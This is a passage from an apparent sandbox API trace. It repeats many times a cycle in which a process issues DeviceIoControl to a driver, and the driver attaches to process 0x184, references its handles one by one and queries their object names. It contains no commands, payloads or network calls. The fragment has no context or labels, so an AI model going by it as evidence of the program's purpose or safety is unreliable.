Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.606] ObfDereferenceObject (Object=0xfffff8a001ef4af0) returned 0x1 [0131.606] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.606] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.606] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.606] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.606] PsAcquireProcessExitSynchronization () returned 0x0 [0131.606] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.606] ObReferenceObjectByHandle (in: Handle=0x354, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001bd1f00, HandleInformation=0x0) returned 0x0 [0131.606] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.606] PsReleaseProcessExitSynchronization () returned 0x2 [0131.606] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.606] ObQueryNameString (in: Object=0xfffff8a001bd1f00, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.606] ObfDereferenceObject (Object=0xfffff8a001bd1f00) returned 0x1 [0131.606] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.606] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.606] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.606] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.606] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.606] PsAcquireProcessExitSynchronization () returned 0x0 [0131.606] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.606] ObReferenceObjectByHandle (in: Handle=0x364, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f6c680, HandleInformation=0x0) returned 0x0 [0131.606] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.606] PsReleaseProcessExitSynchronization () returned 0x2 [0131.606] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.606] ObQueryNameString (in: Object=0xfffff8a001f6c680, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.606] ObfDereferenceObject (Object=0xfffff8a001f6c680) returned 0x1 [0131.607] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.607] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.607] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.607] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.607] PsAcquireProcessExitSynchronization () returned 0x0 [0131.607] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.607] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f649f0, HandleInformation=0x0) returned 0x0 [0131.607] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.607] PsReleaseProcessExitSynchronization () returned 0x2 [0131.607] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.607] ObQueryNameString (in: Object=0xfffff8a001f649f0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.607] ObfDereferenceObject (Object=0xfffff8a001f649f0) returned 0x1 [0131.607] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.607] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.607] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.607] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.607] PsAcquireProcessExitSynchronization () returned 0x0 [0131.607] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.607] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001bc9330, HandleInformation=0x0) returned 0x0 [0131.607] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.607] PsReleaseProcessExitSynchronization () returned 0x2 [0131.607] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.607] ObQueryNameString (in: Object=0xfffff8a001bc9330, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.607] ObfDereferenceObject (Object=0xfffff8a001bc9330) returned 0x1 [0131.607] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.607] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.607] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.607] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.607] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.607] PsAcquireProcessExitSynchronization () returned 0x0 [0131.607] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.608] ObReferenceObjectByHandle (in: Handle=0x37c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001efaef0, HandleInformation=0x0) returned 0x0 [0131.608] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.608] PsReleaseProcessExitSynchronization () returned 0x2 [0131.608] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.608] ObQueryNameString (in: Object=0xfffff8a001efaef0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.608] ObfDereferenceObject (Object=0xfffff8a001efaef0) returned 0x1 [0131.608] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.608] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.608] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.608] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.608] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.608] PsAcquireProcessExitSynchronization () returned 0x0 [0131.608] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.608] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fa27a0, HandleInformation=0x0) returned 0x0 [0131.608] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.608] PsReleaseProcessExitSynchronization () returned 0x2 [0131.608] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.608] ObQueryNameString (in: Object=0xfffff8a001fa27a0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.608] ObfDereferenceObject (Object=0xfffff8a001fa27a0) returned 0x1 [0131.608] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.608] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.608] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.608] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.608] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.608] PsAcquireProcessExitSynchronization () returned 0x0 [0131.608] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.608] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f4e6d0, HandleInformation=0x0) returned 0x0 [0131.608] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.608] PsReleaseProcessExitSynchronization () returned 0x2 [0131.608] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.608] ObQueryNameString (in: Object=0xfffff8a001f4e6d0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.608] ObfDereferenceObject (Object=0xfffff8a001f4e6d0) returned 0x1 [0131.608] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.608] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.608] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.609] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.609] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.609] PsAcquireProcessExitSynchronization () returned 0x0 [0131.609] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.609] ObReferenceObjectByHandle (in: Handle=0x3ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f86670, HandleInformation=0x0) returned 0x0 [0131.609] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.609] PsReleaseProcessExitSynchronization () returned 0x2 [0131.609] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.609] ObQueryNameString (in: Object=0xfffff8a001f86670, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.609] ObfDereferenceObject (Object=0xfffff8a001f86670) returned 0x1 [0131.609] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.609] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.609] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.609] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.609] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.609] PsAcquireProcessExitSynchronization () returned 0x0 [0131.609] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.609] ObReferenceObjectByHandle (in: Handle=0x3bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f1d110, HandleInformation=0x0) returned 0x0 [0131.609] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.609] PsReleaseProcessExitSynchronization () returned 0x2 [0131.609] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.609] ObQueryNameString (in: Object=0xfffff8a001f1d110, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.609] ObfDereferenceObject (Object=0xfffff8a001f1d110) returned 0x1 [0131.609] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.609] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.609] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.609] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.609] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.609] PsAcquireProcessExitSynchronization () returned 0x0 [0131.609] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.609] ObReferenceObjectByHandle (in: Handle=0x3cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001f6b4f0, HandleInformation=0x0) returned 0x0 [0131.609] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.609] PsReleaseProcessExitSynchronization () returned 0x2 [0131.609] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.610] ObQueryNameString (in: Object=0xfffff8a001f6b4f0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.610] ObfDereferenceObject (Object=0xfffff8a001f6b4f0) returned 0x1 [0131.610] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.610] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.610] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.610] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.610] PsAcquireProcessExitSynchronization () returned 0x0 [0131.610] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.610] ObReferenceObjectByHandle (in: Handle=0x3dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fc79f0, HandleInformation=0x0) returned 0x0 [0131.610] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.610] PsReleaseProcessExitSynchronization () returned 0x2 [0131.610] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.610] ObQueryNameString (in: Object=0xfffff8a001fc79f0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.610] ObfDereferenceObject (Object=0xfffff8a001fc79f0) returned 0x1 [0131.610] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.610] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.610] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.610] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.610] PsAcquireProcessExitSynchronization () returned 0x0 [0131.610] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.610] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001fb78d0, HandleInformation=0x0) returned 0x0 [0131.610] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.610] PsReleaseProcessExitSynchronization () returned 0x2 [0131.610] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.610] ObQueryNameString (in: Object=0xfffff8a001fb78d0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.610] ObfDereferenceObject (Object=0xfffff8a001fb78d0) returned 0x1 [0131.610] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.610] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.610] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.610] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.610] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.610] PsAcquireProcessExitSynchronization () returned 0x0 [0131.611] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.611] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001faea00, HandleInformation=0x0) returned 0x0 [0131.611] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.611] PsReleaseProcessExitSynchronization () returned 0x2 [0131.611] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.611] ObQueryNameString (in: Object=0xfffff8a001faea00, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.611] ObfDereferenceObject (Object=0xfffff8a001faea00) returned 0x1 [0131.611] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.611] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.611] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.611] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.611] PsAcquireProcessExitSynchronization () returned 0x0 [0131.611] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.611] ObReferenceObjectByHandle (in: Handle=0x410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00202e5c0, HandleInformation=0x0) returned 0x0 [0131.611] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.611] PsReleaseProcessExitSynchronization () returned 0x2 [0131.611] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.611] ObQueryNameString (in: Object=0xfffff8a00202e5c0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.611] ObfDereferenceObject (Object=0xfffff8a00202e5c0) returned 0x1 [0131.611] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.611] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.611] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.611] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.611] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.611] PsAcquireProcessExitSynchronization () returned 0x0 [0131.611] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880050005d0) [0131.611] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001efae00, HandleInformation=0x0) returned 0x0 [0131.611] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.611] PsReleaseProcessExitSynchronization () returned 0x2 [0131.611] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x136 [0131.611] ObQueryNameString (in: Object=0xfffff8a001efae00, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.611] ObfDereferenceObject (Object=0xfffff8a001efae00) returned 0x1 [0131.611] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.612] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e615e0 | out: hHeap=0x190000) returned 1 [0131.612] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e615e0 [0131.612] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e615e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e615e0*, 